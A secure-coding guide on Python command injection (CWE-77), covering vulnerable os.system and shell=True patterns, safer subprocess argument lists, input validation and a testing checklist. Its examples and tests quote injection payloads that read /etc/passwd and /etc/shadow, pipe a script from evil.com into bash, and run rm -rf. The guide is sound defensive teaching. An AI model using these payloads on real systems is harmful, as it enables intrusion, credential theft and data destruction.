CWE-77: Command Injection - Python
Overview
Command injection in Python occurs when os.system(), os.popen(), or subprocess with shell=True builds a shell command from untrusted input. All three invoke a shell to parse the command string, so metacharacters (;, &, |, backticks, $()) in the input are interpreted as command syntax rather than literal data.
Primary defense: use a Python library for the task (networking, file I/O, compression, image processing) instead of shelling out. When a system command is unavoidable, use subprocess.run() with an argument list and shell=False (the default), never a shell string.
Common Vulnerable Patterns
os.system()
# VULNERABLE - os.system() always invokes a shell
import os
ip_address = request.GET.get('ip')
os.system('ping -c 4 ' + ip_address)
# Attack: ip = "8.8.8.8; cat /etc/passwd"
Why this is vulnerable: os.system() is a thin wrapper over the C system(3) call, which runs its argument as /bin/sh -c on Unix and through cmd.exe on Windows. There is no argument-list form and no shell=False to reach for - the shell is the whole mechanism - so ;, &&, |, backticks and $() in ip_address are always live. It also returns nothing but an exit status, which is why code that needs the output tends to be rewritten around subprocess and the pattern below.
subprocess with shell=True
# VULNERABLE - shell=True re-introduces the same risk even via subprocess
import subprocess
host = request.json.get('host')
subprocess.run(f'ping -c 4 {host}', shell=True)
# Attack: host = "8.8.8.8; curl http://evil.com/shell.sh | bash"
Why this is vulnerable: moving from os.system() to subprocess is the advice most developers remember, and it is the argument list that makes subprocess safe, not the module. With shell=True the string is handed to /bin/sh -c exactly as os.system() would, so nothing about the injection has changed.
Two traps sit behind the obvious fixes. Passing a list while leaving shell=True set does not fix it and does not fail loudly either: the documented behaviour on POSIX is that the first list item is the command string and every later item becomes an argument to the shell itself, so subprocess.run(['ping', '-c', '4', host], shell=True) runs a bare ping and silently discards the rest. And shlex.quote() is documented for POSIX shells only - on Windows it produces a string cmd.exe does not parse by those rules, so quoting that is correct in development can be bypassed in production. Drop shell=True and pass the list; where a shell feature such as a pipe is genuinely needed, build the pipeline out of connected subprocess calls rather than a shell string.
Secure Patterns
Use Python Native Libraries (Primary Defense)
# Instead of: os.system('ping ' + host)
import re
import socket
# No leading hyphen, and fullmatch below rather than match + '$' - see
# "Validate Input" for why both matter.
HOSTNAME_RE = re.compile(r'[a-zA-Z0-9][a-zA-Z0-9.-]*')
def is_host_reachable(hostname):
if not HOSTNAME_RE.fullmatch(hostname):
raise ValueError("Invalid hostname")
try:
socket.gethostbyname(hostname)
return True
except socket.error:
return False
# Instead of: subprocess.call('curl ' + url, shell=True) -> requests.get()
# Instead of: os.system('tar -czf archive.tar.gz ' + files) -> tarfile / zipfile
# Instead of: os.system('convert ' + image + ' thumb.jpg') -> PIL/Pillow Image
Why this works: socket.gethostbyname(), requests, tarfile/zipfile, and Pillow talk to the resolver, sockets, zlib, and libjpeg directly through Python's standard library or a maintained package - there is no shell in the path, so shell metacharacters in the input have no special meaning.
The deeper reason to prefer this over escaping or shlex.quote() is that it removes the weakness rather than managing it. Escaping has to be correct at every call site, forever: one refactor back to an f-string, one value that skips the quoting helper, one shell=True copied from an older snippet, and the vulnerability returns. A native API has no shell to inject into, so there is no rule for a future maintainer to get wrong.
It also avoids inheriting vulnerabilities from the CLI tool itself. ImageTragick (CVE-2016-3714) let a crafted image reach ImageMagick's delegate handling and execute shell commands - the injection happened inside the tool, past any quoting the calling application did. Using Pillow instead of shelling out to convert removes that exposure entirely.
These APIs also return typed values and raise typed exceptions, so you check socket.error rather than parsing exit codes and scraping stderr - less code, and less likely to mask a failure.
Use subprocess.run() with an Argument List (When a Command Is Unavoidable)
import subprocess
import re
IP_RE = re.compile(r'((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}'
r'(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)')
def secure_ping(ip_address):
# fullmatch(), not match() with '^...$' - see "Validate Input" below
if not IP_RE.fullmatch(ip_address):
raise ValueError("Invalid IP address")
# List form, shell=False (the default) - no shell interpretation
result = subprocess.run(
['ping', '-c', '4', ip_address],
capture_output=True, text=True, timeout=10,
)
return result.stdout
Why this works: Passing the command as a list, with shell=False, invokes the executable directly via fork()/exec() rather than through /bin/sh -c. Each list element is delivered to the process as one literal argument, so ;, &, |, and $() inside ip_address are never parsed as shell syntax - they are just characters in that one argument. capture_output=True and timeout=10 capture output cleanly and stop a hung or slow command from becoming a denial of service.
Validate Input and Restrict to an Allowlist (Defense in Depth)
Even with shell=False, validate before use: an allowlist pattern for hostnames, a strict IPv4 regex, and explicit rejection of .., /, \ in filenames. If the command itself is user-selectable, resolve it against a fixed dictionary of absolute paths ({'ping': '/bin/ping', 'nslookup': '/usr/bin/nslookup'}) rather than trusting a name that could be manipulated via PATH. Fail closed - raise, don't attempt to sanitize.
Use re.fullmatch(), not re.match() with ^...$. In Python $ matches immediately before a final newline as well as at the end of the string, so re.match(r'^[a-zA-Z0-9.-]+$', 'evil.com\n') returns a match - measured on 3.13.12 - and an allowlist written to be strict admits a value carrying a control character. re.fullmatch() has no such case. Avoid reaching for \A...\z as the cross-language equivalent: in Python \Z is the strict end anchor and \z did not exist before 3.14, so re.compile(r'\A[a-z]+\z') raises PatternError: bad escape \z on 3.13 and earlier.
Reject a leading hyphen. [a-zA-Z0-9.-]+ includes -, so -debug passes it, and subprocess.run(['nslookup', '-debug']) runs nslookup with an option rather than a hostname. The argument list is doing its job - it delivers the element faithfully, hyphen and all. Anchor the first character to something that cannot be a flag introducer ([a-zA-Z0-9][a-zA-Z0-9.-]*), and where the command supports --, pass it before the positional arguments. This is CWE-88, and it is the part of the problem shell=False does not touch.
Framework-Specific Guidance
Django
def secure_view(request):
domain = request.GET.get('domain', '')
if not HOSTNAME_RE.fullmatch(domain): # no leading hyphen, no trailing newline
return HttpResponseBadRequest("Invalid domain")
result = subprocess.run(['nslookup', domain], capture_output=True, text=True, timeout=5)
return HttpResponse(result.stdout)
Flask
@app.route('/ping')
def secure_ping():
ip = request.args.get('ip', '')
if not IP_RE.fullmatch(ip):
abort(400, "Invalid IP address")
result = subprocess.run(['ping', '-c', '4', ip], capture_output=True, text=True, timeout=10)
return result.stdout
Both frameworks' request-parameter helpers (request.GET.get, request.args.get) return untrusted strings - route/query parsing does not validate for command injection, so the same allowlist-and-argument-list rules apply regardless of framework.
Considerations
The first question is whether a subprocess is needed at all. Most findings of this kind are a shell call standing in for a library the platform already ships - fetching a URL, unpacking an archive, resizing an image. Replacing the call removes the weakness rather than containing it, and usually removes error handling and portability problems with it. That is a rewrite, so weigh it against hardening the existing call; but a hardened subprocess still runs another program with your privileges, and the library does not.
The timeouts in the examples are placeholders for a decision you have to make. A subprocess with no bound can hang a request thread indefinitely, so one is needed - but the right value comes from what the command legitimately does. Too short and normal work fails under load; too long and an attacker who can influence the input has a cheap way to exhaust your workers. Bound the output as well as the time: a command that returns unbounded data to an in-memory buffer is a denial of service whether or not the arguments were validated.
An allowlist is only as good as its most permissive entry. Restricting which command may run is worth doing, but a permitted command that itself takes a path, a URL, or a format string moves the problem one level down rather than solving it. Prefer allowing a fixed set of complete invocations over allowing a program and validating its arguments separately.
Testing
- Normal input:
secure_ping('8.8.8.8')returns ping output rather than raising - the validator has to accept the values the endpoint exists for, and a pattern that rejects everything passes every test below. - Boundary input: an empty string, a 300-character hostname, and a filename containing
..are all rejected. - Anchoring:
'8.8.8.8\n'and'evil.com\n'are rejected.re.matchwith$accepts both, so this assertion is what separatesfullmatchfrom the pattern it replaced. - Argument injection:
'-debug'is rejected before it reachesnslookup, and'--version'before it reachesping. Neither contains a shell metacharacter, so the shell-payload assertions below say nothing about them. - Malicious input:
8.8.8.8; cat /etc/passwd,`whoami`,$(cat /etc/shadow), and8.8.8.8 && rm -rf /tmp/*are all rejected or treated as a single literal argument, never executed.
Common Pitfalls
- Adding
shell=Trueback after a list-form call "fails": Withshell=False(the default), a command passed as one unsplit string is not split into words the way a shell would split it, so a call site still passing a raw string instead of a list fails to find the executable rather than being exploited. The fix is to build a proper argument list, not to restoreshell=Truebecause it "makes the error go away." shlex.split(user_input)treated as a full fix:shlex.split()on untrusted input prevents shell metacharacter interpretation, but the attacker still controls how many arguments are produced and where they split - inserting an extra flag or argument this way is argument injection, a risk that persists even withshell=False.os.popen()used as a "modern" replacement:os.popen()looks like thesubprocessfamily and is not - CPython implements it assubprocess.Popen(cmd, shell=True, ...)and it accepts nothing but a string, so it carries exactly the risk ofos.system(). It is not formally deprecated and emits no warning, which is why it survives a cleanup that removed theos.system()calls beside it; only itsos.popen2/popen3/popen4siblings were removed in Python 3.
Additional Resources
- Bandit Security Linter - detects
subprocess/os.systemissues - CWE-77: Command Injection
- OWASP Command Injection
- Python subprocess Documentation